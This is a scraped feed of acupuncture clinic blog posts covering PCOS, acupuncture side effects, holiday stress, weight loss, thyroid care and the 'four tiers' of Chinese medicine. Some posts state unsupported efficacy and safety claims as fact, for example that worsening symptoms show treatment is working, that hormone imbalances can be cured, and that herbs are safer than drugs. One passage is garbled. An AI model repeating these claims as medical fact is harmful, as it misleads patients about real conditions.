Acupuncture and Chinese herbs provide a safe, effective, drug-free and natural whole body approach. This natural approach helps strengthen and (re)balance the hormonal systems of the body, encouraging conception and a healthy pregnancy.

Etiology of PCOS in Chinese Medicine

In traditional Chinese medicine, the treatment of PCOS is seen as an excess condition, a deficient condition, or clinically PCOS is seen as more of a combination of both an excess and deficient condition*.

Excess conditions:

  • Phlegm dampness
  • Liver qi stasis
  • Blood stasis

Deficient conditions:

  • Kidney yang deficiency
  • Kidney yin deficiency
  • Spleen qi deficiency

*It is important to note that most women will have both excess and deficient conditions as their root cause of PCOS.

Together with changes in diet and exercise, acupuncture treatments and Chinese herbs are empowering women with PCOS to lead healthier and more satisfying lives. For women trying to become pregnant, either naturally or through IUI/IVF treatments, treating PCOS will help with fertility and overall balance through harmonizing hormones and regulating the menstrual cycle. While there is still no cure for PCOS, the good news is that Chinese medicine offers many effective ways to treat polycystic ovary syndrome!

]]> Are there risks or side effects to acupuncture? http://acuherb.us/are-there-risks-or-side-effects-to-acupuncture/ http://acuherb.us/are-there-risks-or-side-effects-to-acupuncture/#comments Fri, 19 Aug 2011 04:17:17 +0000 http://acuherb.us/?p=670

Are there risks or side effects to acupuncture?

Usually not. Acupuncture is a very safe method of encouraging the body to promote natural healing and improve function.

Done properly, acupuncture rarely causes serious side effects. Many people feel a brief stinging sensation, like a pinprick, during insertion of the needles. Others experience a dull ache around the needle after it goes in.

Other problems documented by researchers resulted from mistakes made by the acupuncturists. For example, some have failed to refer their patients for other kinds of treatment that might be more effective for their illness. Others have spread serious infections by using needles that weren’t sterile. A handful have injured patients by pushing a needle into a vital organ such as a lung. But overall, as the National Institutes of Health recently concluded, acupuncturists have an extremely good safety record.

A side effect that I have seen in my own practice is the original symptoms worsening for a few days after an acupuncture treatment.  Sometimes other general changes in appetite, sleep, bowel or urination patterns, or emotional state may be triggered. These should not cause concern, as they are simply indications that the acupuncture is starting to work.  My teacher explained it to me like this: Acupuncture is smoothing out blocked Qi (energy) that is stuck in areas of your body. When a garden hose gets a kink in it, the water stops flowing. When you straighten the hose, the built up pressure makes the water burst out in the beginning. This is what can happen when you first have acupuncture.

It is also common with the first one or two treatments to have a sensation of deep relaxation or even mild disorientation immediately following the treatment. These effects should wear off within 24-48 hours.

Please discuss what you have been experiencing with your acupuncturist. Your comfort is a priority. The more you communicate with the practitioner, the more he or she will be able to help you.

A few people have reported more serious reactions, such as dizziness, sweatiness, or nausea, according to a November 1999 issue of theArchives of Family Medicine. There have even been some cases reported where patients lost consciousness. However, these problems usually clear up on their own within a few minutes, without lasting harm to the patient.

While Acupuncture is an extremely safe form of physical medicine, here are some rarely seen contraindications and risks.

Precautions & Contraindications:

  1. It is contraindicated to needle the abdomen and lumbosacral areas of pregnant women
  2. Avoid blood vessels to prevent bleeding
  3. Points on the chest and back should be carefully needled to avoid injury to organs

Risks: (Some of the risks mentioned below are EXTREMELY RARE!)

  1. Bruising
  2. Fainting
  3. Muscle Spasms
  4. Bleeding
  5. Nerve Damage
  6. Punctured Lung
  7. Accidental Injury to organs (Brain, Spinal Cord, Heart, Liver, Spleen, Kidney)
]]> http://acuherb.us/are-there-risks-or-side-effects-to-acupuncture/feed/ 1 Combating Feelings of Holiday Stress, Anxiety and Depression with Acupuncture and Chinese Medicine http://acuherb.us/combating-feelings-of-holiday-stress-anxiety-and-depression-with-acupuncture-and-chinese-medicine/ Fri, 19 Aug 2011 04:15:39 +0000 http://acuherb.us/?p=668

While the holidays are depicted in movies as a time of idyllic serenity and joy, we have all felt the realities of holiday stress. Financial concerns, gift giving, busy schedules, family obligations, weight gain and lack of exercise all play into the holiday cheer.  These pressures can affect us physically, emotionally and spiritually often leading to anxiety and depression.  Acupuncture and Chinese medicine provide a unique perspective and intervention for these common seasonal difficulties.

Anxiety comes in a wide range of manifestations, from mild worrying to more physical responses such as nausea, insomnia, shortness of breath and panic attacks.  Some anxiety is a healthy response to the stress of daily life and new situations; however, anxiety that occurs randomly or excessively is a sign to take notice. Acupuncture and Chinese medicine can help balance both the mental and physical symptoms of anxiety and help to create harmony and spaciousness.

From an acupuncture and Chinese medicine perspective, many manifestations of anxiety can be traced back to the energetic concert between the heart and kidneys.  The temperament of the heart is fiery, expansive and upward.  From a Chinese medicine standpoint, it exhibits yang characteristics.  The dynamic terrain of the kidneys are on the other end of the Chinese medicine continuum.  The kidneys energetic character is fluid, inward and contemplative, exhibiting a yin nature.  If there is too much fire, we may experience symptoms of anxiety and agitation of the mind.

It is estimated that 20% of the population is depressed at some point in life.  Common symptoms of depression during holiday time include a sense of apathy, cynicism or anger toward the holiday season, isolation from festivities and holiday traditions, crying spells and over-consumption of food and/or alcohol.  Depression may be compounded in some people by SAD, seasonal affective disorder  a type of depression associated with the low light conditions experienced during the winter months.

In acupuncture and Chinese medicine, the liver’ s job is to negotiate the free flow of energy in the body.  Impaired liver function can lead to inappropriate jams, limited availability of resources and sluggishness.  In acupuncture and Chinese medicine this condition is often referred to as liver depression and qi stagnation.  The  depression is the body’s reduced ability to move its resources. Stagnation occurs when the lack of energy to circulate needed supplies becomes obstructed.  This can cause sleep and digestive complaints, musculoskeletal pain and emotional instability. Acupuncture and Chinese medicine offer effective strategies to remedy the depressed energy and to move the resulting stagnation, leading to better health and outlook.

While modern life has helped make so many aspects of daily living easier, many people still suffer from emotional distress especially around the Holiday season.  Subsequently, anxiety, increased stress and depression are some of the most common conditions affecting individuals during this eventful season.  Acupuncture and Chinese medicine are effective and safe tools to help smooth and balance what can be a challenging time of the year even under the best circumstances.

]]> Acupuncture for Weight Loss http://acuherb.us/acupuncture-for-weight-loss/ Fri, 19 Aug 2011 04:09:04 +0000 http://acuherb.us/?p=665

How to Lose the Weight and Keep It Off with Acupuncture and Chinese Medicine.

Weight loss comes under the topic of “Weight Control”, because we are concerned with the loss and MAINTENANCE of loss of weight. This is a multi-faceted problem, and a good program involves diet, exercise and stress reduction techniques. Chinese acupressure and digestive aid exercises are also useful tools in the battle with weight loss.

Acupuncture is an ADJUNCT therapy. It is not a panacea or a wonder cure in the treatment of weight control. But, acupuncture is effective in making it easier to lose and maintain that loss if the patient is willing to change their lifestyle. The exact mechanism by which acupuncture works is unknown but we know that acupuncture needles inserted into specific points on the body and in the ear release endorphins which have a calming and relaxing effect that makes it easier to deal with stress, frustration and anxiety that can trigger overeating and bingeing on fattening foods. Also endorphins affect the digestive and hormonal systems so acupuncture can help rebalance the organ systems that are running too fast- or in this case too slow i.e., the metabolism and the will power.

The Acupuncture Treatment

In order for the acupuncturist to choose the correct points for you, you must first come in for a consultation to discuss your particular pattern of overeating, and let the practitioner know in your intake form if there are any real digestive difficulties. Then the acupuncturist would check your pulse to discern the general state of your energy and measure the health of your stomach energy in particular, and then they would look at your tongue to check for cracks, peeling or puffiness on the stomach area, or a suspicious yellow or thick white coating that might indicate troublesome heat or coldness in the stomach and would provide some clues as to why the person was gaining weight.

The Acupuncture Points

Then, armed with this information, the acupuncturist would devise a treatment protocol using a combination of ear and body points. Although the Chinese developed the system of auricular (ear) acupuncture a long time ago, as one of the various Microsystems of the body containing all the points relating to the major organs and body parts, a Frenchman by the name of Nogier, discovered many more acupuncture points on the ear that pertain to Western medicine such as points called “Adrenal”, “Pituitary”, “FSH”, “Ovary”, “Thyroid”, etc.

Many of the points from both ear acupuncture systems that are important for weight loss treatments are:

  • Mouth – for the impulsive eater who may also smoke a lot and talk a lot
  • Stomach – for the person who eats even after they’re full or who’s constantly nibbling
  • Hungry – for general appetite control
  • Lung – for food addicts, and people who love chocolate, sweets
  • Shenmen – a calming point, for the psychology overlay for anxiety, anger, frustration, insecurity
  • Endocrine – for water retention that’s responsible for some of the weight gain
  • Adrenal and Ovary – if weight gain is due to menopause or P.M.S.
  • Spleen – for sugar imbalances and hormonal disturbances
  • Kidney – for water retention, and nervous system and hormonal imbalances
  • Thyroid – for slow metabolism

The practitioner chooses two or more of these points for each treatment depending upon the patient’s problem and personality profile regarding overeating.

Next, body points would be selected.

During the first few treatments, most likely the “Four Gate” points (LI 4, Liver3) would be used to circulate the energy throughout the body and calm the nervous system. Ren 12, the front collecting point of the stomach energy would be chosen for many treatments, as would Stomach 36, three inches distal to the eye of the knee that tonifies the energy and helps circulate oxygen and blood of the whole body and of the stomach in particular. Then, based on the diagnosis, the practitioner may add Stomach, 40, the master point for mucous, or Kidney 7 or 10 for edema or water retention.

The acupuncturist may use electro stimulation on some of these acupuncture points to increase the endorphin release and stimulate the metabolism. The needles would be kept in place for around thirty to forty-five minutes depending on how much support was needed for the patient, and after the needles are removed, ear tacs with adhesive on them are often placed in the same spots on the ear to continue the stimulation between treatments. The way it works is this: when the patient feels an urge to eat, s/he applies mild pressure to the point or rubs it back and forth for about 20 seconds. This type of acupressure stimulates the point, causes a mild endorphin release, relaxes the patient and helps them to regain their willpower or resolve about resisting the temptation to eat. The patient removes the tacs at home after three days and throws them away or takes them out sooner if there is any irritation or discomfort. It is a good idea to also remove oneself from the location, person or food that triggers the resistance to the diet or contributes to the breakdown of willpower. For example, one might want to stay away from the kitchen and refrigerator between meals.

The Treatment Plan

The number of acupuncture treatments necessary depends on the patient’s goals for losing weight, the speed at which they want to lose, and their commitment to keeping the weight off. If the overeating is severe, a treatment every day for the first five days is appropriate and can then taper off the second week to every other day and the third week to every three days. For the average patient who wants to lose between five to ten pounds, one treatment every three days or twice a week until they reach their goal is appropriate, and then a booster treatment once every two weeks is optimal. After a few booster treatments, the patient and practitioner will mutually decide when to terminate frequent treatments and then can aim to meet approximately four times a year at the change of seasons when energy levels are unstable and tonification and harmonizing of one’s system is appropriate for everyone.

Nutritional Counseling and Lifestyle Changes

As was mentioned earlier, a good weight loss program includes nutritional counseling and exercise as well as a commitment to make permanent lifestyle changes. The acupuncturist can help with nutritional counseling and can discuss a diet regimen that the patient can live with and maintain for the long term. A diet that is high in fiber and low in fat, with moderate amounts of low-density carbohydrates and low-fat protein is usually the best choice to adopt. With this type of a diet program, the patient can avoid the pit-falls of yo-yo dieting or the tendency to lose weight and then regain it.

Other important tools that can aid in weight loss are stress reduction techniques and a moderate exercise regimen. The acupuncturist can suggest various stress reduction methods that may include breathing exercises, Tai Chi, yoga, meditation or biofeedback. And since the goal of a weight program is not only weight loss but the maintenance of that loss, an exercise program that the patient likes is the best one to choose. The patient could try starting a program that includes brisk walking three times a week for forty minutes. After a few weeks when stamina is increased, they could try walking five times a week. After that more aerobic exercise can be added such as the treadmill, stair climber or aerobics classes, cycling or whatever from of rigorous exercise the person enjoys and can maintain for the long term. It is a good idea to use free weights beginning with three pound weights and practicing just two to three sets of arm curls three times a week. Moderate weight training builds lean body mass and helps to reduce body fat as well as strengthen and build bone mass and reduce the risk of osteoporosis.

Chinese Herbal Medicine and Supplements

Next a good individualized nutritional supplement program is important because everyone has a different metabolism and different needs for nutrients. It will include vitamins, minerals, herbs antioxidants, phytochemicals and nutraceuticals. These will support the diet program and balance the blood sugar to help give the body the strength, energy and defense it needs to maintain the healthy life style that s/he has begun.

Many diet and appetite suppression products are available on the market and surprisingly there is a very effective and safe ancient Chinese herbaL formula for digestion that comes in a pleasant tasting chewable wafer form called BAO HE WAN. The ingredients are:

  • Shan Zha (Fructus Crataegi) –promotes digestion of meat and fats; dissolves food accumulation
  • Shen Qu (Medicated Leaven) — digests alcohol, rice and vinegar and dissolves food accumulation
  • Lai Fu Zi (Semen Raphani) — digests starch (wheat and breads)
  • Ban Xia (Pinellia), Chen Pi (Tangerine Peel), and Fu Ling (Poria Cocos), — resolve dampness and food accumulations
  • Lian Qiao (Fructus Forsythiae) — clears stomach heat that may result from accumulated food that dries up the digestive liquids

When this famous herbal formula is drunk as a tea, other herbs may be added if there is gas or abdominal distension such as cardamon or magnolia bark. Or if constipation is a problem a gentle laxative like Semen Pruni or Huo Ma Ren may be used. However an important concept of Chinese medicine is to diagnose properly and treat the patient with the correct herbs so as not to consume body fluids or disturb electrolyte balance. Food accumulation may be due to stomach deficiency so the practitioner may add other herbs such as Codonopsis to tonify the stomach energy so the food could descend properly through the digestive tract.

Breathing and Abdominal Excercises

While the patient is undergoing the behavior modification program and is successfully losing weight, it is a good idea to incorporate a set of deep breathing and abdominal exercises that utilize the acupuncture meridians or energy lines on the body to stimulate relaxation and digestion. If we practice deep abdominal breathing while lying down for a few minutes in the morning before we arise, we will not only take in more oxygen but will stimulate the stomach, spleen, kidney ,and reproductive energy lines that are all located on the center of the torso . Digestion will be improved and all those organs will function more effectively. We will also start the day with more energy and clarity.

Another method of stimulating these same organs in the stomach region is the abdominal finger pressure massage that follows the direction of the large intestines. This massage may also be performed in bed in the morning and evening and will gently stimulate all the points on the central torso and will not only encourage proper digestion but will foster homeostasis or the harmonious balancing of the hormone and endocrine systems of the body.

Pressure Points

Last but not least, three pressure points on the body may be stimulated daily for two minutes each that will promote the general health as well as aid digestion, elimination and relaxation. These points are: Large Intestines 4 (HEGU); Pericardium 6 (Neiguan); and Stomach 36 (Zusanli). The points should be pressed with strong continuous pressure for approximately two minutes each and may be said to comprise a self-healing treatment.

While no guarantee may be given for acupuncture treatments for weight loss, the self-motivated patient who will take the time to practice most of the things outlined here will most likely be pleased with the results that she finds within a reasonable amount of time.

]]> Thyroid Treatment With TCM and Acupuncture http://acuherb.us/thyroid-treatmentwith-tcm-and-acupuncture/ Tue, 16 Aug 2011 19:45:32 +0000 http://acuherb.us/?p=603

 

 

The health of your thyroid gland truly makes or breaks your daily energy level, the ability to sustain a healthy weight for your frame, overall metabolic function, and can even affect your emotional life (if thyroid function is low, depression can result; if thyroid function is high, anxiety can result).

Your thyroid is a remarkable gland, located at the front of the throat by the larangeal prominence. If it functions properly, the perfect amount of thyroid hormone is secreted to meet your daily energy needs, but if it is low you will likely feel fatigued, unable to keep up with life’s demands, have sleeping difficulties, gain weight easily and feel cold much of the time.  Millions of Americans have thyroid conditions from genetic predisposition, years of stress, and compounded by the toll of pollution in our air, food, and water.

Here is one very helpful thyroid solution: Acupuncture specifically for hormone balancing and thyroid care!  If you suspect that your thyroid function is low, consider Acupuncture and custom Chinese herbal formulas to boost your energy, regulate sleep patterns, and restore hormonal balance.

From Thyroid Care to Thyroid Cure: The Benefits of Including Acupuncture

If we utilize both Western and Eastern methods of healing there exist many options for treating and even curing hormone imbalances. 

 I had first-hand observation from years of Texas medical practice that this ancient modality had surprising ability to correct hormonal imbalances. I and other MDs had seen patients benefit greatly from this older approach to hormone health; often this was the best method for certain recalcitrant and debilitating versions of thyroid imbalance.

Fatigue, exhaustion, infertility, weight gain, depression, digestive problems, hair loss, arthritis, feeling chilled no matter the temperature all may be symptoms of a low thyroid condition, one of the most misdiagnosed medical disorders in America.  The lethargy, lack of stamina, and emotional distress of low thyroid function (hypothyroidism) is often mistaken for clinical depression and wrongly treated with seratonin reuptake inhibiting medications like Prozac and Paxil. Misdiagnosed or undiagnosed hypothyroidism may affect one in nine adult women in the U.S. and for the post-menopause subset that statistic gets as high as one in four.

It is important to become informed of the wide spectrum of hormone-related conditions that can affect one’s health, energy, and quality of life.  Low thyroid function is one aspect, but adrenal function, reproductive hormones, the pituitary and hypothalamus, and so on, each play a critical role in proper metabolic rate and homeostasis.  It is of critical importance to be accurately tested for hormone function if you display the previously described signs and symptoms and/or if your health care provider suspects sub-optimal hormone levels.  For quality, affordably priced laboratory tests you can order without a doctor’s prescription, please visit the health advocacy organization Canary Club at www.CanaryClub.org online.

But once cognizant of an existing hormone imbalance via lab test results or compelling symptom-related evidence, how can your health care providers fully remedy your condition? There are options but also many limitations available within the Western medical model, including hormone replacement prescriptions (if you are low in thyroid/adrenal or estrogen/progesterone/testosterone) or hormone suppression prescriptions (if any of the above are too high).

For hypothyroid patients specifically, some do not respond well to the standard (slow-acting T4) Synthroid prescription and instead might benefit from the addition to Synthroid of Cytomel (fast-acting T3).  Sometimes what works even better is a different thyroid prescription completely like Armor or Naturthroid (both non-synthetic).

These medicines greatly assist, but among autoimmune patients (who comprise the majority of thyroid sufferers in either the category of Hashimoto’s hypothyroidism or Grave’s hyperthyroidism) there are still many who despite determining which thyroid replacement is best and at what dosage, they still do not feel 100%.  These patients benefit some from their medical prescriptions but are still hovering around only 60% or 70% or 80% of their normal self, and suffer continued symptoms such as fatigue, emotional distress, insomnia, mental fuzziness, etc.  There are several possible causes for this, in the Western medical viewpoint.  Autoimmunity is likely the most severe example of imbalance within the human body that one could find: An organism at war with itself, the immune system cells attacking the body’s own tissue.

Of course in such cases it may be difficult to fully optimize the thyroid being replaced as there exists a cellular resistance to the hormone, for instance because the autoimmune response has targeted the thyroid hormone receptors, or perhaps because synthetic chemical pollutants in our air, food, and water interfere with endocrine function. It is also possible an iodine deficiency may be at fault, although this is more common in underdeveloped countries.

So how can thyroid hormone (whether produced internally by the endocrine system or replaced by prescription medication) be adequately metabolized, taken up by the body’s cells to perform its many functions on both a microscopic and macroscopic level?  The answer is: The entire human system must be in balance for successful utilization of thyroid hormone.  The key here is an integrative approach to balance and optimal wellness, for which ancient Chinese healing practices are world-renowned.

As an  OMD, Acupuncturist and Herbalist, I have always been impressed by how TCM (Traditional Chinese Medicine) cultivates a holistic perspective in developing diagnostic impressions and treatment protocols for each patient.  The keystone of our medicine is awakening the body’s natural intelligence to heal itself.

Our goal, when we needle specific points or prescribe herbal formulas individually modified to the patient’s pattern of dis-ease, is restoring balance to the system of meridians that crisscross and encircle the body in a similar fashion to the lymph or nervous system in Western medicine.  TCM seeks to restore health within the body by benefiting, with needles, herbs, nutrition, massage, lifestyle changes and so on, the fundamental balance of Yin and Yang within the body.  Yin and Yang are the two aspects in Chinese medical philosophy representing the  many balances within the body such as internal/external, cold/hot, deficiency/excess, acidic/alkaline, sympathetic/parasympathetic, and so on.

Let me give you  an example, a forty five  year-old menopausal woman who has just discovered she has thyroid dysfunction as well.  Because estrogen production wanes during the menopausal years, and the endocrine system is a delicate balance of many different glands all producing and utilizing various hormones depending on hormone production in the other glands, not only is she experiencing hot flashes and night-sweats from the estrogen decrease but she also has chilliness and fatigue from the hypothyroidism.  She feels excessively hot then deficient and cold, the mind races while the physical body becomes exhausted.

The Western practitioner might put her on estrogen replacement that helps the hot flashes (but it can increase her weight and breast cancer risk) as well as thyroid hormone which helps the fatigue (but it can increase adrenal irritability and insomnia).

The Eastern practitioner seeks the root cause within the pattern of imbalance, which she determines to be a deficiency of both Kidney Yin and Kidney Yang (a common diagnosis for menopausal women as both the Qi and Blood may wane too suddenly during the transition).  She needles points to clear heat (Large Intestine 11, Liver 2), strengthen the Liver and Kidney Yin (Spleen 6) and invigorate the Kidney Yang (Kidney 3, Kidney 7) (Fire Kidney Fire on also very important but this technique need under Doctor’s help, for the  Yang very weak case may need several time stimuli the fetal Yang  on Kidney gate).  She prescribes a granulated herbal formula like Golden Book Tea, otherwise known as Jing Gui Shen Qi Wan, and modifies it with long gu to anchor the Yang and dang gui to build Blood.  After a couple weeks of daily herbal tea and weekly acupuncture, the patient reports having no more hot flashes, less chilliness, and much more restful sleep leading to overall more energy and well-being throughout the day.

How does Acupuncture accomplish what Western medicine cannot alone?  By rebalancing the internal homeostasis of the body.  Tongue and pulse diagnosis plus symptom cluster are the pillars of objective data gathering. Utilizing carefully chosen trigger points and tonifying or sedating herbs, one nourishes the vital fluids and balances Yin and Yang while removing stagnation within the meridians.

Every patient is unique, so an individualized approach is essential to accuracy yet the overarching pattern can be determined based on objective tongue and pulse signs, and the subjective symptom cluster.

Patients best benefit from an integrated Eastern and Western medical approach to health.  The strong point of Western medicine is intervention in life-threatening illness, whereas the strong point of Eastern medicine is increased quality of life.  Therefore it is most optimal to have available both Eastern and Western medicine options for more complete care.  This blending of the East and West has been the standard of hospital care in China for several  decades.

If you have not tried Acupuncture and other methods of Traditional Chinese Medicine as a critical aspect of your complete hormone care, consider it today. Acuherb Clinic’s practice is focused on bringing better care to the specializations of: Thyroid, Adrenal, Stress & Anxiety. You deserve the best of both worlds when it comes to your health.  We are delighted to assist you in cultivating a more energetic, balanced, and graceful lifestyle!  For appointments in American Institute of Acupuncture, Acuherb Clinic.

DRUG interaction with Levothyroxine

Levothyroxine sodium may interact with numerous other medications, including over-the-counter medications. Some of the medicines that may potentially lead to levothyroxine interactions include:

Antacids or gas-relieving medications

  • Antidepressant medications
  • Calcium supplements
  • Cholestyramine (Prevalite ,Questran , Questran Light)
  • Colestipol(Colestid)
  • Diabetes medications
  • Digoxin(Digitek,Lanoxin)
  • Estrogens, such ashormone replacement therapy(HRT) andbirth control pills, patches, or rings
  • Iron (including iron found in multivitamins)
  • Orlistat(Alli,Xenical)
  • Raloxifene(Evista)
  • Rifampin (Rifadin)
  • Some seizure medications, such as:
  • Carbamazepine (Carbatrol, Epitol, Equetro, Tegretol)
  • Phenobarbital (Luminal)
  • Phenytoin(Dilantin, Phenytek)
  • Sucralfate(Carafate)
  • Theophylline(Uniphyl, Theocron, TheoCap, Theo-24, Elixophyllin)
  • Warfarin(Coumadin,Jantoven).
]]> Four Tiers of Asian Medicine http://acuherb.us/four-tiers-of-asian-medicine/ Thu, 11 Aug 2011 17:17:51 +0000 http://acuherb.us/?p=405
  1. Food Therapy
  2. Herbal Therapy
  3. Exercise: Tai Chi & Qi Gong
  4. Acupuncture & Cupping

I. FOOD THERAPY

File:The Su Wen of the Huangdi Neijing.djvu

“Let food be thy medicine and medicine be thy food.”

– Hippocrates circa 431 B.C.

Traditional Asian Medicine first employs food as a therapeutic tool. Why? Because we are very pre-occupied with food. Our stomachs will let us know that we are hungry, so most of us, unless we are imbalanced, will eat 1-6 times per day unless food is not available. Since we eat, its important to consider what we are eating due to the fact food has a major influence on the health of our bodies. If we drink pop, alcohol, eat desserts, cheese, candy, red meat, bread, processed foods, etc. then guess what happens to the body? It clogs up and gains weight and we get sick. If we eat vegetables, fruit, water, fish, then what happens? We open up, lose weight to balance and leanness and we can get well. The effective TAM practice will include food therapy with the knowledge of what food works best with a particular constitution. Ever heard of,  You are what you eat? What that means, is that certain foods will definitely determine the cell quality in the tissues of your body. Food, ideally, provides substance to make energy from, benefitting the cells so they can do their job. The more energy, the more capacity your cells have to do their jobs. If they are obstructed with poor choices, that fit your wants, then the result will be illness. Foods that balance your ailing constitution, are essential to re-establishing your health. Master herbalists, sophisticated in this specialty, will recommend this strategy in order to form a foundation for other traditional Asian medicine. No matter what treatment methodology, allopathic or naturopathic, healing can be sabotaged, if food therapy is not seriously considered in the remedial process. Therefore, food therapy is critical to restoration of your health. Though food is a more subtle remedy, its gradual nourishing effect, has the power to restore, unnoticed, only because it takes more time. Thus, when we get sick, it is difficult, to connect the dots as to how we got in that condition.

II. Herbal Therapy

?There are three categories of drugs; the lowest one of which is poisonous, the second one is a little poisonous, the highest one is no poison. The lowest drug cures 6 out of 10 sicknesses, leaving poisons in the patients. The middle one cures 7 out of 10 sicknesses, leaving a small amount of poison. Even the highest medicine cure only 8 or 9 out of 10 sicknesses. The sicknesses that medicine cannot cure can be cured only by foods.??Nei Ching

The next tier of traditional Asian medicine is herbal therapy chosen because of its relevant affective strength on the human body. Herbal therapy is applied to open the channels with specific influence on the underlying cause of imbalance and related symptoms. Comprehensive knowledge of herbal medicine is necessary or harm may be done. Herbal medicines have the same strength as food except that it does impacts the body directly. When reduced to an extract level which equals about 4-5 times the strength of the basic herbs, the effect is quicker and stronger. Natural herbs do not heal any better than synthetic medicines but they can help the body to fight disease, strengthen the body’s immune system, and help to harmonize the body’s functions. After a master herbalist learns about individual herbs then a herbalist will proceed to herbal formulas which make a greater impact to energize, reduce or harmonize more body parts in the healing process. Herb medicine deserves respect because harm can occur if not applied correctly. Though not as dangerous as synthetic medicines, imbalances can occur if rendered inappropriately.

 

The 4 Natures, 5 Tastes, 4 Actions, and the Meridian Attribution

These characteristics are found in food and herbs and influence the body’s  reception of the herb’s medicinal qualities.

Four Natures of Herbs

The four natures of herbs are:

  • Cold
  • Hot
  • Warm
  • Cool

The “Nei Jing”, an ancient book of Chinese herb wisdom, says if the body is cold, heat it; if the body is hot, cool it. The herbs that are used to treat hot type dysfunction are typically cold or cool. Herbs that are used to treat cold type conditions are generally warm or hot in nature. There are some herbs with a more subtle nature. They are categorized as neutral in impact on the body. Essentially every neutral herb may be deemed slightly warm or cool, so we can refer to the basic four natures.

The Five Tastes of Herbs

spicy

sour

sweet

bitter

salty

 

Herb tastes affect different body functions. Every herb has its unique nature and taste. Herbs with the same nature may have the same taste. Or herbs with their similar tastes may have different natures. Therefore, the study of tastes and natures can be very complicated. The Nei Jing says:

  • spicy and sweet tastes move fast so they, characteristically, belong to yang constitution type.
  • Sour and bitter tastes move body functions downwards so they reflect the yin body type.
  • Salty taste moves energy downward too, so it also is yin in quality.
  • Bland (a subtle sweet taste) permeates so it belongs to yang.
  • Additionally spicy, sweet, and bland attributes are distinctively yang.
  • Sour, bitter, and salty attributes are yin in their affect on the human body.

The Four Actions of Herbs

The four actions of herbs are:

 

Ascending

Descending

Floating

Sinking

 

These four actions are directly related to the human body. The great Herbalist Li Dong-Yuan said,?“herbs have the properties of ascending, descending, floating and sinking, transformation, giving birth, growth, harvesting, storing, and completion”. It so happens, these same actions match up with the four seasons – spring/ascends, summer/floats, autumn/harvests, winter/stores, central earth/transforms.

  • Herbs, whose taste are weak, will ascend and rise (give birth).
  • Herbs, whose natures are weak, will descend and restrain (harvest).
  • Herbs, whose natures are strong, will float and grow.
  • Herbs, whose taste are strong, will sink and store.
  • Herbs, whose nature are neutral and tastes are bland, will transform and complete.

Yang ascends, Yin descends, Yang floats, and Yin sinks. Spicy, sweet, and bland have the yang characteristics of the earth. Sour, bitter and salty have yin traits. Yin and Yang descriptions aid the TAM practitioner relative to understanding the affect a herb will have on the body.

YANG characteristics are related to:

  • High Energy
  • Light
  • External
  • Upper
  • Hot
  • Dry
  • Excess

 

 Yin attributes will be associated with:

  • Low energy
  • Darkness
  • Internal
  • Lower
  • Cold
  • Wet
  • Deficient

Additionlly, herbs that are light will usually ascend or float and herbs that are heavy will usually sink or descend. Flowers and leaves will float while seeds or roots will descend or sink. Keep in mind that Chinese Herb Medicine also includes the mineral and animal products, which have their own properties.

The Meridian Attribution of Herbs

There are 12 channels in the human body. These clearly defined channels are influenced by historically beneficial herbs that are known to impact a specific channel. Additionally, The various herbs can affect the functions of the body with multiplicity. For instance, when a person has a hot type imbalance, the herbs recommended must be cool or cold, and if the person suffers from a cold type disease the herbs that should be taken are warm or hot. A hot type disease may be liver-heat or stomach-heat; a cold type disease may be lung-cold or spleen-cold conditions. Here is where a thoughtful practitioner shows their value. Herbs that can purge liver heat may not be able to rid stomach heat; herbs that can warm a cold spleen may not be able to warm cold lungs. Therefore, different herbs have been assessed for their multiple affect on the functions of different organs. The functions of the herbs and the 12 meridians can be interrelated and this is what is meant by the meridian attribution of herbs. Herb have been researched, observed for centuries and well documented for their specific influence on the channels. In particular, well trained master herbalists will know which channel and at what point along the channels, the herbs impact. Below are common Chinese herbs used by a herb master.

Common Traditional Chinese Herbs include the following:
  • American Ginseng
  • Asian Ginseng
  • Astragalus
  • Bitter Melon
  • Bupleurum
  • Chinese Scullcap
  • Corydalis
  • Dong Quai
  • Eleuthero
  • Green Teas
  • Licorice
  • Ligustrum
  • Maitake
  • Reishi
  • Schisandra
  • Shiitake
  • Fo-ti
  • Chinese Ginger
  • Ginkgo biloba

Herb therapy when combined with compatible food therapy can be extremely valuable in aiding an ailing person towards normal balance. When you add exercises (Tai Chi & Qi Qong) that wake up the natural restorative energies of the body then the potential for optimal health is achievable.

 

III. Exercise: Tai Chi & Qi Gong

?Life exists because qi is amassed, when qi is dispersed, one dies.?Zhuang Zi, Chinese philosopher

 

Wellness & Longevity Movement. TaiChi and Qiqong form the third tier in the Chinese medicine arsenal. In order to increase the likelihood of physical improvement and health maintenance, practitioners will encourage clients to engage in an energy rejuvenation regimen.

The fast-paced yet sedentary nature of modern life often results in stress and lack of sufficient physical activity. Millions of individuals have found the meditative movements of Tai Chi and Qi qong to be effective therapies for a wide range of health problems, including poor circulation, headaches, joint pain, back pain, breathing difficulties, digestive and nervous disorders, to name only a few.

Tai Chi and Qi gong have an extra degree of stretching in each movement while placing emphasis on health improvement. With practice, these movements produce a beneficial effect on all systems of the body by increasing flexibility and strength, improving circulation, and relieving tension.

By restoring healthy circulation and alleviating tension in the muscles, ligaments and tendons, Qi gong and Tai Chi help to optimize body functions thus engenders health and maintains the proper functioning of all systems, organs and tissues.

 

“An ignorant doctor is no better than a murderer.”
-Chinese proverb

 

IV. Acupuncture & Cupping

Acupuncture

?While acupuncture represents a legacy of concepts that predate Western civilization, as a contemporary health care system it also represents a synthesis of continuously evolving scientific and technological developments, which provides us with new tools to meet current clinical challenges.??Dennis Tucker, Ph.D., L.Ac.

As with all of Asian medicine, acupuncture is constantly improving its craft. While some Asian medicine practitioners lead with this modality and use the prior methods as an adjunct, historically, acupuncture has been employed after the first three tiers. This sense of priority is based not on effectiveness but rather on aggressiveness of therapeutic action on the body. In the American culture, people have become accustomed to an instantaneous result or the ?doctor, fix me now? syndrome. The other modalities allow for the client to participate and become knowledgeable about their imbalance which usually results in a more sustainable outcome. However, when the other tiers are not enough, then acupuncture is essential.

Acupuncture is one of the oldest Asian medicine regimens that has been successful offsetting a multiplicity of health conditions. In fact, the World Health Organization (WHO) has recognized more than 40 forms of disease that can be effectively treated through acupuncture. Additionally, WHO has recognized traditional Asian medicine as a more economical medical method of treating health conditions.

Research has shown that the human body has more than 2000 acupuncture points. Channels theory is fundamental in the practice of acupuncture. With 12 major channels in the body, there exists 365 mapped acupuncture points, while there are over one thousand more points found on the hand, ear, and scalp. Qi (pronounced ?chi?) is the energy that moves through the channels. Acupuncturists work with the movement of qi in order to balance yin and yang, excess or deficiency in the body, and nourish the internal organs.

